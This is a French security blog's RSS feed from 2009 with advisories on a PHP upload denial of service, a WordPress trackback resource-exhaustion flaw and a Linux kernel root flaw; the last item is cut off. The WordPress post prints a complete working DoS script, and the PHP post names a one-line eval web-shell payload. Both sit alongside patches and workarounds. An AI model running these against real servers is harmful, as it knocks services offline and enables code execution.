<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Le blog de John Jean &#187; Sécurité informatique</title>
	<atom:link href="http://www.john-jean.com/blog/category/securite-informatique/feed" rel="self" type="application/rss+xml" />
	<link>http://www.john-jean.com/blog</link>
	<description>Actualité de sécurité informatique</description>
	<lastBuildDate>Wed, 19 May 2010 09:19:09 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>Denial of service PHP sur toutes les versions inférieures à 5.3.1</title>
		<link>http://www.john-jean.com/blog/securite-informatique/denial-of-service-php-sur-toutes-les-versions-inferieures-a-5-3-1-301</link>
		<comments>http://www.john-jean.com/blog/securite-informatique/denial-of-service-php-sur-toutes-les-versions-inferieures-a-5-3-1-301#comments</comments>
		<pubDate>Mon, 23 Nov 2009 08:46:36 +0000</pubDate>
		<dc:creator>John JEAN</dc:creator>
				<category><![CDATA[Sécurité informatique]]></category>
		<category><![CDATA[acunetix]]></category>
		<category><![CDATA[denial of service]]></category>
		<category><![CDATA[dos]]></category>
		<category><![CDATA[execution de code]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[faille]]></category>
		<category><![CDATA[faille php]]></category>
		<category><![CDATA[fichiers temporaires]]></category>
		<category><![CDATA[locale inclusion]]></category>
		<category><![CDATA[php]]></category>

		<guid isPermaLink="false">http://www.john-jean.com/blog/securite-informatique/denial-of-service-php-sur-toutes-les-versions-inferieures-a-5-3-1-301</guid>
		<description><![CDATA[Un advisory concernant les releases PHP antérieures à la version 5.3.1 a été publié ce vendredi. En effet, la 5.3.1 contient un patch pour un DoS ayant été reporté le 27 Octobre 2009. Le problème concerne le support de la RFC 1867 dans PHP (Formulaire d&#8217;upload HTML). &#160; &#160; Concept Lorsque l&#8217;on envoie une requête [...]]]></description>
			<content:encoded><![CDATA[<p><img alt="logo php" align="left" src="http://www.john-jean.com/blog/wp-content/uploads/2009/11/logo_php.gif" width="165" height="124" />Un advisory concernant les releases PHP antérieures à la version 5.3.1 a été publié ce vendredi. En effet, la 5.3.1 contient un patch pour un DoS ayant été reporté le 27 Octobre 2009. Le problème concerne le support de la <a href="http://www.ietf.org/rfc/rfc1867.txt" target="_blank">RFC 1867</a> dans PHP (Formulaire d&#8217;upload HTML).</p>
<p><span id="more-301"></span>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p><strong>Concept</strong></p>
<p>Lorsque l&#8217;on envoie une requête POST à un script PHP avec le content-type &laquo;&nbsp;multipart/form-data&nbsp;&raquo; et que l&#8217;on inclut une liste de fichiers dans cette requête, PHP crée un fichier temporaire pour chaque fichier de la requête. PHP crée ces fichiers sans même regarder si le script supporte l&#8217;upload de fichiers. Après l&#8217;exécution du script, les fichiers temporaires sont normalement effacés.</p>
<p>Le problème vient donc du fait que si vous incluez un très grand nombre de fichiers dans la requête, PHP a besoin de créer ces fichiers avant l&#8217;exécution du script et donc la suppression qui devrait en découler.</p>
<p>Le denial of service apparait lorsque l&#8217;on crée bons nombres de requêtes (ca rappelle vaguement la <a title="faille wordpress" href="http://www.john-jean.com/blog/securite-informatique/wordpress-exhaustion-exploit-dans-toutes-les-versions-de-wordpress-254" target="_blank">faille wordpress</a>, et la plupart des <a href="http://fr.wikipedia.org/wiki/Attaque_par_d%C3%A9ni_de_service" target="_blank">DoS</a> bien entendu), et que chaque requête contient beaucoup de fichiers à traiter (+15000).</p>
<p>Lorsque vous envoyez cette requête au serveur web, il s&#8217;écroule et cesse de répondre car il doit processer un énorme nombre de fichiers (création / suppression) dans un très court délai.</p>
<p>N&#8217;importe quel site tournant sous PHP et où l&#8217;upload de fichier est activé (configuration par défaut) est vulnérable. Il n&#8217;est pas nécessaire d&#8217;avoir un formulaire d&#8217;upload pour exécuter l&#8217;exploit. Cette faille est donc critique. J&#8217;ai d&#8217;ailleurs lu dans mes RSS d&#8217;hier qu&#8217;<a href="http://www.ovh.com" target="_blank">OVH</a> organisait une patch party cette nuit, je suppose que c&#8217;est pour protéger ses mutualisés de cette faille.</p>
<p>PHP intègre deux paramètres de configuration qui ont attrait à l&#8217;upload:<br />
<code><br />
upload_max_filesize<br />
post_max_size<br /></code><br />
Cependant, ces deux paramètres ne sont pas suffisants pour enrayer ce DoS.</p>
<p>&nbsp;</p>
<p><strong>Notions d&#8217;enrayement</strong></p>
<p>Trois workarounds sont proposés concernant cette faille:</p>
<ul>
<li><span style="TEXT-DECORATION: underline">Désactiver l&#8217;upload de fichier<br /></span>Si vous n&#8217;avez pas besoin d&#8217;uploader des fichiers sur votre dédié, vous pouvez donc désactiver cette fonctionnalité.<br />
file_uploads = Off dans le php.ini</li>
</ul>
<p>&nbsp;</p>
<ul>
<li><span style="TEXT-DECORATION: underline">Installer PHP 5.3.1<br /></span>Si vous ne pouvez pas désactiver l&#8217;upload de fichiers, alors il convient d&#8217;upgrader PHP à la version 5.3.1.
<p>Cette nouvelle version intègre un patch pour la faille:<br />
En effet; max_file_uploads a été ajouté et permet de définir le nombre maximum de fichiers à processer à la fois (limité à 20 par défaut) afin d&#8217;enrayer les possibilités de DoS par trop grand nombre de fichiers temporaires.</li>
</ul>
<p>&nbsp;</p>
<ul>
<li><span style="TEXT-DECORATION: underline">Installer Suhosin PHP Extension /!\<br /></span>L&#8217;extension Suhosin possède une option nommée &laquo;&nbsp;suhosin.upload.max_uploads&nbsp;&raquo;. Cette option définit le nombre maximum de fichiers qui peuvent être uploadés par requête, définit par défaut à 25.<br />
/!\Suhoshin PHP extension ne doit pas être confondu avec Suhosin patch qui ne protège pas de cette attaque mais est assez largement déployé sur les serveurs de productions.</li>
</ul>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>
<strong>Tests dans des environnements de production</strong></p>
<ul>
<li style="LIST-STYLE-TYPE: none"></li>
<li><span style="TEXT-DECORATION: underline">PHP on Linux (Ubuntu 8.10) / PHP Version 5.2.6-2ubuntu4.3</span></li>
</ul>
<p>
<code><br />
Timeline:<br />
14:50 – started the attack<br />
14:51 : web server is no longer responsive.<br />
load average: 102.02, 30.68, 10.68<br />
14:52 : web server is not responsive.<br />
load average: 129.95, 49.29, 18.05<br />
14:52 – attack is aborted<br />
14:53 – web server is not responsive.<br />
load average: 143.58, 67.90, 26.41<br />
14:54 – web server is not responsive.<br />
load average: 149.60, 89.58, 37.93<br />
16:05 – web server is not responsive.<br />
load average: 151.64, 120.91, 60.94<br /></code></p>
<p>Vérification du nombre de fichiers temporaires crée par l&#8217;auteur:<br />
<code><br />
$ls -la /tmp/php* | wc -l<br />
-bash: /bin/ls: Argument list too long<br />
0<br /></code><br />
Création d&#8217;un fichier pour compter le nombre de fichiers crées:<br />
<code><br />
$php count_files_from_dir.php /tmp/php*<br />
2.419.649<br /></code><br />
Donc une heure après, le serveur ne répond toujours pas et 2.419.649 fichiers temporaires ont été crées.</p>
<p>&nbsp;</p>
<p>Si l&#8217;on redémarre le serveur, ces fichiers ne sont pas effacés.</p>
<ul>
<li style="LIST-STYLE-TYPE: none"></li>
<li><span style="TEXT-DECORATION: underline">PHP on FreeBSD 7.2 / PHP Version 5.2.9</span></li>
</ul>
<p>
<code><br />
Timeline:<br />
14:00 – attack is started.<br />
14:01 – web server is no longer responsive (Chrome message: Error 101 (net::ERR_CONNECTION_RESET): Unknown error.))<br />
load average: 87:22, 22.61, 9.9<br />
14:02 – attack is aborted.<br />
14:06 – web server is no longer responsive.<br />
load averages: 45.42, 42.35, 22.59<br />
14:11 – web server is not responsive.<br />
load averages: 26.77, 35.78, 23.49<br />
The system is slowed down to a crawl.<br />
Basically you cannot even write a command in a remote PUTTY session.<br />
14:17 – web server is not responsive.<br />
The console is continuously displaying kernel error messages like:<br />
swap_pager_getswapspace(2): failed<br />
swap_pager_getswapspace(16): failed<br />
swap_pager_getswapspace(3): failed<br />
…<br />
pid 61248 (httpd), uid 80 inumber 5 on /var: out of inodes<br />
pid 61251 (httpd), uid 80 inumber 5 on /var: out of inodes<br />
pid 61146 (httpd), uid 80 inumber 5 on /var: out of inodes<br />
pid 61103 (httpd), uid 80 inumber 5 on /var: out of inodes<br />
pid 61103 (httpd), uid 80 inumber 5 on /var: out of inodes<br />
pid 61063 (httpd), uid 80 inumber 5 on /var: out of inodes<br />
pid 61101 (httpd), uid 80 inumber 5 on /var: out of inodes<br />
…<br />
14:23 – web server is responsive.<br />
load averages: 0.79, 29.10, 37.13</code> </p>
<p>&nbsp;</p>
<p>Même chose lorsque l&#8217;auteur tente de compter les fichiers temporaires:<br />
<code><br />
$ls -la /var/tmp/php* | wc -l<br />
-bash: /bin/ls: Argument list too long<br />
0<br />
$ls -la /var/tmp/php<br />
Display all 117490 possibilities? (y or n)<br /></code><br />
Donc nous avons 117490 fichiers temporaires sur le serveur.</p>
<ul>
<li style="LIST-STYLE-TYPE: none"></li>
<li><span style="TEXT-DECORATION: underline">PHP on Windows: XAMPP / XAMPP for Windows setup filename: xampp-win32-1.7.2.exe / PHP Version 5.3.0</span></li>
</ul>
<p>
<code><br />
Timeline:<br />
12:30 – started the attack<br />
12:30 + few seconds: CPU usage =&gt; 100%<br /></code></p>
<p>En quelques secondes, le serveur ne répond plus, 65535 fichiers temporaires sont crés et aucun autre ne peut être crée.</p>
<p>&nbsp;</p>
<p>Sur XAMPP pour Windows, PHP crée les fichiers temporaires dans C:\xampp\tmp (si votre installation est dans C:\xampp\)<br />
Les fichiers sont appelés phpXXXX.tmp (Où X’s charset est ‘a’-&#8217;z’, ‘A’-&#8217;Z’, ‘0&#8242;-’9&#8242;).<br />
Exemple: php1A00.tmp<br />
<code><br />
12:31 – attack is aborted<br />
12:39 – CPU usage is still 100%, web server is not responsive.<br />
13:08 – CPU usage is still 100%, web server is responsive.<br />
14:08 – CPU usage is 97%<br />
14:34 – CPU usage is 97%<br /></code><br />
Deux heures plus tard l&#8217;utilisation du CPU n&#8217;est pas revenue à la normale. Cependant le serveur web répond à nouveau. Après un redémarrage du serveur, l&#8217;utilisation du CPU redevient normale. Cependant les 65535 fichiers temporaires ne sont pas effacés.</p>
<ul>
<li style="LIST-STYLE-TYPE: none"></li>
<li><span style="TEXT-DECORATION: underline">PHP on OpenBSD 4.6 / PHP Version 5.2.10</span></li>
</ul>
<p>
<code><br />
Timeline:<br />
12:00 – started the attack<br />
12:00 + few seconds: CPU usage =&gt; 100%<br />
12:01 – attack is aborted<br />
12:01 – web server is no longer responsive.<br />
load averages: 120.42, 50.35, 20.59<br />
12:04 – web server is no longer responsive.<br />
load averages: 147.17, 80.74, 36.46<br />
The system is slowed down to a crawl.<br />
12:06 – web server is responsive.<br />
load averages: 122.59, 96.03, 48.31<br /></code></p>
<p>A ce point le serveur web est ralenti mais continue à servir les pages<br />
<code><br />
12:07 – web server is responsive.<br />
load averages: 63.67, 85.01, 47.26<br />
12:10 – web server is responsive.<br />
load averages: 6.56, 52.75, 40.03<br />
12:12 – web server is responsive.<br />
load averages: 0.55, 16.36, 26.50<br /></code><br />
Le système est revenu à la normale.</p>
<p>&nbsp;</p>
<p>OpenBSD gère très bien ce type d&#8217;attaque, les effets n&#8217;ont durés que quelques minutes.</p>
<p>Pourquoi cela ? Grace à Suhosin PHP extension. OpenBSD a cette extension activée par défaut.</p>
<p>&nbsp;</p>
<p><strong>Exploitation</strong></p>
<p>Dans certains cas, cette attaque peut se transformer une inclusion locale et donc en exécution de code distant. La plupart des OS n&#8217;effacent pas les fichiers temporaires crée, même après redémarrage du serveur web. De fait un grand nombre de fichiers temporaires sont laissés dans le répertoire temporaire (habituellement /tmp sur les systèmes unix). On peut donc tenter de deviner le nom de l&#8217;un de ces fichiers et de l&#8217;inclure.</p>
<p>Pour que cela fonctionne, tous les fichiers uploadés doivent contenir le code php suivant: &lt;?php eval($_REQUEST[x]); ?&gt;.</p>
<p>Sur les système tournant sous Windows, seulement quatre caractères sont utilisés pour générer les fichiers temporaires (phpXXXX.tmp). Une fois que le serveur répond à nouveau, il y a 65 535 fichiers dans le repertoire temporaire. Il est donc possible de deviner facilement le nom de l&#8217;un de ces fichiers et de l&#8217;inclure.</p>
<p>Sur unix, 6 caractères sont utilisés pour gérer les fichiers temporaires, il est donc impossible de deviner le nom de ceux-ci. Ou alors, cela prendra beaucoup de temps. L&#8217;auteur a tenté cette méthode sur un serveur ayant généré 800 000 fichiers temporaires. Après cinq minutes de tentative, il a réussi à deviner le nom d&#8217;un fichier et à exécuter du PHP.</p>
<p>Le script python permettant de générer l&#8217;attaque n&#8217;a pas été publié. Enfin, pas par l&#8217;auteur en tout cas. Cela se comprend aisément, du fait des conditions réunis: PHP largement déployé, pas besoin de formulaire d&#8217;upload, upload activé par défaut, seulement la dernière version corrige la faille, extension Suhosin non déployée par défaut sauf sur OpenBSD, de quoi faire tomber 70% des serveurs de la planète.</p>
<p>Mettez rapidement à jour vos serveurs. Un script doit déjà assez largement être distribué.</p>
<p>&nbsp;</p>
<p><strong>Références</strong></p>
<p>L&#8217;équipe d&#8217;<a href="http://www.acunetix.com" target="_blank">Acunetix</a> essentiellement connue pour son <a href="http://www.acunetix.com/vulnerability-scanner/" target="_blank">scanner de failles web</a>; devenu d&#8217;ailleurs entre temps un scanner de port, un soft d&#8217;exploitation d&#8217;injection SQL, un forgeur de packet HTTP et j&#8217;en passe; a averti l&#8217;équipe PHP le 27 octobre. L&#8217;auteur de cette découverte est <strong>bogdan</strong> de l&#8217;équipe Acunetix<strong>.</strong> On notera d&#8217;ailleurs avec intérêt qu&#8217;Acunetix n&#8217;a pas sorti l&#8217;adviso trois jours après avoir contacté le vendor; suivez mon regard :-)</p>
<p>&nbsp;</p>
<p><strong>Correction rapide</strong></p>
<p>On vient de patcher quelques serveurs, la version 5.3.1 a pas été poussée dans les dépots officiels, on a donc installé suhosin qui lui y est:<br />
apt-get install php5-suhosin<br />
(<a href="http://packages.debian.org/lenny/php5-suhosin">http://packages.debian.org/lenny/php5-suhosin</a>)</p>
<p>La configuration se passe dans /etc/php5/apache2/conf.d</p>
<p>
suhosin.upload.max_uploads<br />
Type: Integer<br />
Default: 25<br />
Defines the maximum number of files that may be uploaded with one request.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.john-jean.com/blog/securite-informatique/denial-of-service-php-sur-toutes-les-versions-inferieures-a-5-3-1-301/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>WordPress Ressource Exhaustion Exploit dans toutes les versions de WordPress</title>
		<link>http://www.john-jean.com/blog/securite-informatique/wordpress-exhaustion-exploit-dans-toutes-les-versions-de-wordpress-254</link>
		<comments>http://www.john-jean.com/blog/securite-informatique/wordpress-exhaustion-exploit-dans-toutes-les-versions-de-wordpress-254#comments</comments>
		<pubDate>Mon, 19 Oct 2009 22:29:41 +0000</pubDate>
		<dc:creator>John JEAN</dc:creator>
				<category><![CDATA[Sécurité informatique]]></category>
		<category><![CDATA[ddos]]></category>
		<category><![CDATA[exhaustion]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[faille]]></category>
		<category><![CDATA[resource]]></category>
		<category><![CDATA[ressource]]></category>
		<category><![CDATA[wordpress]]></category>
		<category><![CDATA[wordpress resource exhaustion]]></category>

		<guid isPermaLink="false">http://www.john-jean.com/blog/divers/wordpress-exhaustion-exploit-dans-toutes-les-versions-de-wordpress-254</guid>
		<description><![CDATA[36. C&#8217;est le nombre de lignes de PHP contenues dans l&#8217;exploit que je viens de tester avec intérêt. 4. C&#8217;est le nombre de serveurs contenus dans un cluster au boulot et qui viennent tous de cesser de répondre pendant que je testais cet exploit. Démentiel. 01h25, c&#8217;est l&#8217;heure à laquelle j&#8217;écris ce billet: vous m&#8217;excuserez [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://www.john-jean.com/blog/wp-content/uploads/2009/10/icon2_rss.png" alt="icon2 rss" width="165" height="152" align="left" />36. C&#8217;est le nombre de lignes de PHP contenues dans l&#8217;exploit que je viens de tester avec intérêt.</p>
<p>4. C&#8217;est le nombre de serveurs contenus dans un cluster au boulot et qui viennent tous de cesser de répondre pendant que je testais cet exploit. Démentiel.</p>
<p>01h25, c&#8217;est l&#8217;heure à laquelle j&#8217;écris ce billet: vous m&#8217;excuserez donc pour les fautes d&#8217;orthographes du billet cet article c&#8217;est un peu une &laquo;&nbsp;Breaking News&nbsp;&raquo;.</p>
<p><span id="more-254"></span></p>
<p>Aujourd&#8217;hui a donc été release un &laquo;&nbsp;WordPress Exhaustion Exploit&nbsp;&raquo;, c&#8217;est une appellation relativement savante pour dire que ca peut faire sauter les services d&#8217;un serveur en 36 lignes de code. Je viens de le tester sur l&#8217;un de mes serveurs perso, en 10 secondes mysql a cessé de répondre et n&#8217;est pas revenu de lui même. TOUTES les versions de WordPress sont faillibles.</p>
<p>L&#8217;attaque en elle-même est relativement simple, elle concerne les trackbacks. wp-trackback.php permet de gérer les rétro-liens, c&#8217;est à dire que si Blog B fait référence à un article de Blog A, alors un lien de Blog B apparaitra sur Blog A dans la partie des commentaires.</p>
<p>La faille en elle-même c&#8217;est quoi ? Elle se situe au niveau de la gestion de l&#8217;encodage du titre.</p>
<p><code>if ( function_exists(’mb_convert_encoding’) ) { // For international trackbacks<br />
$title = mb_convert_encoding($title, get_option(’blog_charset’), $charset);<br />
$excerpt = mb_convert_encoding($excerpt, get_option(’blog_charset’), $charset);<br />
$blog_name = mb_convert_encoding($blog_name, get_option(’blog_charset’), $charset);<br />
}<br />
</code></p>
<p>En gros, il faut savoir que mb_convert_encoding est une fonction qui permet de transformer une chaine encodée en X vers une chaine encodée en Y. Cette fonction prend trois paramètres:</p>
<p><code>mb_convert_encoding(chaine_que_l'on_veut_convertir, nouveau_charset, charset_d_origine)</code></p>
<p>Dans charset_d_origine on peut spécifier plusieurs charsets. Si l&#8217;on en met plusieurs, la fonction va chercher quel charset correspond à la chaine. Elle va donc tester chacun des charsets passés en argument puis décider quel est le meilleur. Une fois qu&#8217;elle a trouvé le meilleur, elle va transformer chaine_que_l&#8217;on_veut_convertir en nouveau_charset.</p>
<p>Pour exploiter cette faiblesse dans notre faille, on va passer une chaine de 140 000 octets (soit 140 000 caractères) et on lui indique qu&#8217;il y a 23 333 charsets d&#8217;origine possible (&laquo;&nbsp;UTF-8,&nbsp;&raquo; fait 6 caractères, si on a 140 000 octets, on a 140 000/6 = 23 333.333). De fait, la fonction va parcourir 23 333 fois la chaine chaine_que_l&#8217;on_veut_convertir, et parcourir 23 333 cette chaine, ca sollicite le serveur, bien entendu :). Si l&#8217;on envoie la requête une fois, le serveur la traite, maintenant si on répète l&#8217;opération sur un délai très court le serveur apprécie moins. C&#8217;est bien entendu précisément ce que fait le script en utilisant fork qui divise en plusieurs processus et une boucle qui relance le processus initial une fois terminé.</p>
<pre name="code" class="php">
&lt;?
if(count($argv) &lt; 2)
die("You need to specify a url to attack\n");
$url = $argv[1];
$data = parse_url($url);
if(count($data) &lt; 2)
die("The url should have http:// in front of it, and should be complete.\n");
$path = (count($data)==2)?"":$data['path'];
$path = trim($path,'/').'/wp-trackback.php';
if($path{0} != '/')
$path = '/'.$path;
$b = ""; $b = str_pad($b,140000,'ABCEDFG').utf8_encode($b);
$charset = "";
$charset = str_pad($charset,140000,"UTF-8,");
$str = 'charset='.urlencode($charset);
$str .= '&amp;url=www.example.com';
$str .= '&amp;title='.$b;
$str .= '&amp;blog_name=lol';
$str .= '&amp;excerpt=lol';
for($n = 0; $n &lt;= 5; $n++){
$fp = @fsockopen($data['host'],80);
if(!$fp)
die("unable to connect to: ".$data['host']."\n");
$pid[$n] = pcntl_fork();
if(!$pid[$n]){
fputs($fp, "POST $path HTTP/1.1\r\n");
fputs($fp, "Host: ".$data['host']."\r\n");
fputs($fp, "Content-type: application/x-www-form-urlencoded\r\n");
fputs($fp, "Content-length: ".strlen($str)."\r\n");
fputs($fp, "Connection: close\r\n\r\n");
fputs($fp, $str."\r\n\r\n");
echo "hit!\n";
}
}
?&gt;</pre>
<p>Pour l&#8217;enrayer inutile de désactiver les trackbacks car tout se passe avant. Il faut aller dans wp-trackback.php et trouver la ligne:</p>
<p><code>$charset = $_POST['charset'];</code></p>
<p>et la remplacer par:</p>
<p><code>$charset = str_replace(”,”,”",$_POST['charset']);<br />
if(is_array($charset)) { exit; }</code></p>
<p>Ce patch permet d&#8217;enlever les virgules, du coup le script n&#8217;a plus à tester les 23 333 charset_d_origine, mais un seul, inexistant. L&#8217;autre façon de passer un charset_d_origine à la fonction c&#8217;est un tableau, là on va pas faire dans la dentelle, si c&#8217;est un tableau, on exit.</p>
<p>Sinon vous pouvez toujours deny from all wp-trackback.php ;-)</p>
<p>L&#8217;exploit a été posté sur Full-Disclosure aujourd&#8217;hui à 14h30. Il semble avoir été découvert par <a href="http://rooibo.wordpress.com/" target="_blank">rooibo</a> et amélioré par <a href="http://blog.zerial.org" target="_blank">Zerial</a>. Ce n&#8217;est vraiment pas impossible que d&#8217;ici quelques jours de joyeux lurons s&#8217;amusent à attaquer les WordPress des bloggeurs &laquo;&nbsp;influents&nbsp;&raquo; les plus connus. Rooibo explique sur son blog qu&#8217;il a avertit l&#8217;équipe WordPress et que leur proposition de correctif ne lui a pas semblé viable.</p>
<p>Le correctif proposé est celui de roobio, je pense qu&#8217;il est préférable de tester le tableau en premier et de faire le str_replace ensuite car je crois qu&#8217;un str_replace sur un array conduit à du path disclosure.</p>
<p><strong>Rapide update: WordPress vient de release la version 2.8.5.</strong></p>
<p>Voici le diff sur le fichier qui nous intéresse:<br />
<code>john@john-laptop:~/Bureau$ diff -urN wordpress-2.8.4/ wordpress-2.8.5/ > diff.diff<br />
diff -urN wordpress-2.8.4/wp-trackback.php wordpress-2.8.5/wp-trackback.php<br />
--- wordpress-2.8.4/wp-trackback.php	2008-05-25 17:50:15.000000000 +0200<br />
+++ wordpress-2.8.5/wp-trackback.php	2009-10-19 17:10:59.000000000 +0200<br />
@@ -50,7 +50,7 @@<br />
 $blog_name = stripslashes($_POST['blog_name']);</code><br />
 <code><br />
 if ($charset)<br />
-	$charset = strtoupper( trim($charset) );<br />
+	$charset = str_replace( array(',', ' '), '', strtoupper( trim($charset) ) );<br />
 else<br />
 	$charset = 'ASCII, UTF-8, ISO-8859-1, JIS, EUC-JP, SJIS';<br />
 </code></p>
<p>Sinon j&#8217;ai fait le diff complet ici, car je ne trouve pas l&#8217;officiel chez WordPress: <a href="http://www.john-jean.com/blog/diffw84w85.diff" rel="nofollow">diff WordPress-2.8.4 WordPress 2.8.5</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.john-jean.com/blog/securite-informatique/wordpress-exhaustion-exploit-dans-toutes-les-versions-de-wordpress-254/feed</wfw:commentRss>
		<slash:comments>29</slash:comments>
		</item>
		<item>
		<title>Linux NULL pointer dereference due to incorrect proto_ops initializations, Cocorico !</title>
		<link>http://www.john-jean.com/blog/securite-informatique/linux-null-pointer-dereference-due-to-incorrect-proto_ops-initializations-cocorico-216</link>
		<comments>http://www.john-jean.com/blog/securite-informatique/linux-null-pointer-dereference-due-to-incorrect-proto_ops-initializations-cocorico-216#comments</comments>
		<pubDate>Sun, 16 Aug 2009 02:21:04 +0000</pubDate>
		<dc:creator>John JEAN</dc:creator>
				<category><![CDATA[Sysadmin]]></category>
		<category><![CDATA[Sécurité informatique]]></category>
		<category><![CDATA[deference]]></category>
		<category><![CDATA[faille]]></category>
		<category><![CDATA[grsecurity]]></category>
		<category><![CDATA[hole]]></category>
		<category><![CDATA[IPv6]]></category>
		<category><![CDATA[julien tinnes]]></category>
		<category><![CDATA[kernel]]></category>
		<category><![CDATA[linus torvalds]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[null]]></category>

		<guid isPermaLink="false">http://www.john-jean.com/blog/divers/linux-null-pointer-dereference-due-to-incorrect-proto_ops-initializations-cocorico-216</guid>
		<description><![CDATA[Voici une faille sortie il y a maintenant trois jours (pas eu le temps de blogger le jour même) qui va assez facilement alimenter les propos de news0ft. Il expliquait avec intellect la fuite des cerveaux Français en matière de sécurité informatique pour des causes diverses et variées que je vous laisse découvrir dans l&#8217;article. [...]]]></description>
			<content:encoded><![CDATA[<p><img alt="coq2" align="left" src="http://www.john-jean.com/blog/wp-content/uploads/2009/08/coq2.gif" width="160" height="155" />Voici une faille sortie il y a maintenant trois jours (pas eu le temps de blogger le jour même) qui va assez facilement alimenter les <a title="Echec de la sécurité francaise" href="http://news0ft.blogspot.com/2009/07/lechec-de-la-securite-francaise.html">propos</a> de <a href="http://news0ft.blogspot.com">news0ft</a>. Il expliquait avec intellect la fuite des cerveaux Français en matière de sécurité informatique pour des causes diverses et variées que je vous laisse découvrir dans <a title="Echec de sécurité Francaise" href="http://news0ft.blogspot.com/2009/07/lechec-de-la-securite-francaise.html">l&#8217;article</a>. Il cite en dehors de Kostya Kortchinsky, Nicolas Pouvesle, <a href="http://www.msuiche.net">Matthieu Suiche</a> , Nicolas Brulez, un certain Julien Tinnès :-) Et il s&#8217;avère que ce Julien Tinnès est l&#8217;un des co-découvreur de cette faille qui risque de bien dépanner quelques l33t hax0r, et de ravir tous les pen-testeurs de la planète au grand désespoir de leurs clients.</p>
<p><span id="more-216"></span>
<p>Cette faille permet depuis un simple compte utilisateur de passer root. Et la mauvaise nouvelle c&#8217;est que cela affecte la plupart des kernels supportant IPv6 (bon ca c&#8217;est la version édulcorée, en vrai c&#8217;est le protocole qui gère Bluetooth, PPPoX, IRDA et autres joyeusetés); c&#8217;est à dire:</p>
<p>- Linux 2.4, de 2.4.4 jusqu&#8217;à 2.4.37.4 compris.<br />
- Linux 2.6, de 2.6.0 jusqu&#8217;à 2.6.30.4 compris.</p>
<p>C&#8217;est donc un monstre de dangerosité. Inutile de se lancer dans des élucubrations sur la faille en elle même, elle est bien évidemment largement documentée par ses auteurs: <a href="http://archives.neohapsis.com/archives/fulldisclosure/2009-08/0174.html">http://archives.neohapsis.com/archives/fulldisclosure/2009-08/0174.html</a> ou surtout <a href="http://blog.cr0.org/2009/08/linux-null-pointer-dereference-due-to.html">le blog de julien</a> (qui doit voir son PR exploser).</p>
<p>- return sock-&gt;ops-&gt;sendpage(sock, page, offset, size, flags);<br />
+ return kernel_sendpage(sock, page, offset, size, flags);</p>
<p>Cette ligne suffit à corriger la faille dans le kernel, patchée d&#8217;ailleurs par Sieur Torvalds himself. Le patch <a title="Patch Linus Torvalds" href="http://git.kernel.org/?p=linux/kernel/git/torvalds/linux-2.6.git;a=commit;h=e694958388c50148389b0e9b9e9e8945cf0f1b98">est ici</a>.</p>
<p><img alt="bleh" align="left" src="http://www.john-jean.com/blog/wp-content/uploads/2009/08/bleh-1.png" width="450" height="281" /></p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>Cette faille provoque bien évidemment une patch party chez les hébergeurs sérieux ayant avertis leurs clients. Par exemple OVH a avertis par mailing mais également sur le <a href="http://forum.ovh.com/showthread.php?t=50120">forum</a>. Ils mettent à disposition une version recompilée du noyau sur <a href="ftp://ftp.ovh.net/made-in-ovh/bzImage/">ftp://ftp.ovh.net/made-in-ovh/bzImage/</a>.</p>
<p>Je vous encourage vivement à mettre à jour vos systèmes. L&#8217;exploit est en effet disponible sur <a href="http://www.milw0rm.com/exploits/9435">milw0rm,</a> <a href="http://www.milw0rm.com/exploits/9436">[2]</a>. Enfin dernière chose amusante, l&#8217;auteur du premier exploit est <a href="http://fr.wikipedia.org/wiki/Brad_Spengler">Brad Spengler</a>, oui oui l&#8217;auteur de Grsecurity (Un patch qui permet d&#8217;ajouter des fonctions de sécurité au kernel). D&#8217;ailleurs les kernels tournant avec GRS ne sont pas faillibles :-) Pied de nez aux personnes n&#8217;étant pas disposées à réduire un peu les performances pour améliorer la sécurité de leurs serveurs.</p>
<p>Juste pour information sur mon introduction, <a href="http://blog.cr0.org/">Julien Tinnes</a> n&#8217;est pas à son premier <a href="http://blog.cr0.org/2009/07/old-school-local-root-vulnerability-in.html">coup d&#8217;essai</a>, <a href="http://blog.cr0.org/2009/06/bypassing-linux-null-pointer.html">[2]</a>, <a href="http://blog.cr0.org/2009/05/write-once-own-everyone.html">[3 !]</a>. Il travaille désormais chez Google comme Ingénieur Securité après avoir fait un passage chez Orange Labs. Décidément pas de chaussure au pieds des ingés sécurité en France ?</p>
<p>Sur ce, bonne lecture et bon tests.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.john-jean.com/blog/securite-informatique/linux-null-pointer-dereference-due-to-incorrect-proto_ops-initializations-cocorico-216/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Non je ne suis pas mort. Pas encore en tout cas :)</title>
		<link>http://www.john-jean.com/blog/securite-informatique/non-je-ne-suis-pas-mort-pas-encore-en-tout-cas-195</link>
		<comments>http://www.john-jean.com/blog/securite-informatique/non-je-ne-suis-pas-mort-pas-encore-en-tout-cas-195#comments</comments>
		<pubDate>Sat, 18 Jul 2009 07:47:01 +0000</pubDate>
		<dc:creator>John JEAN</dc:creator>
				<category><![CDATA[Sécurité informatique]]></category>
		<category><![CDATA[buffer overflow]]></category>
		<category><![CDATA[dos]]></category>
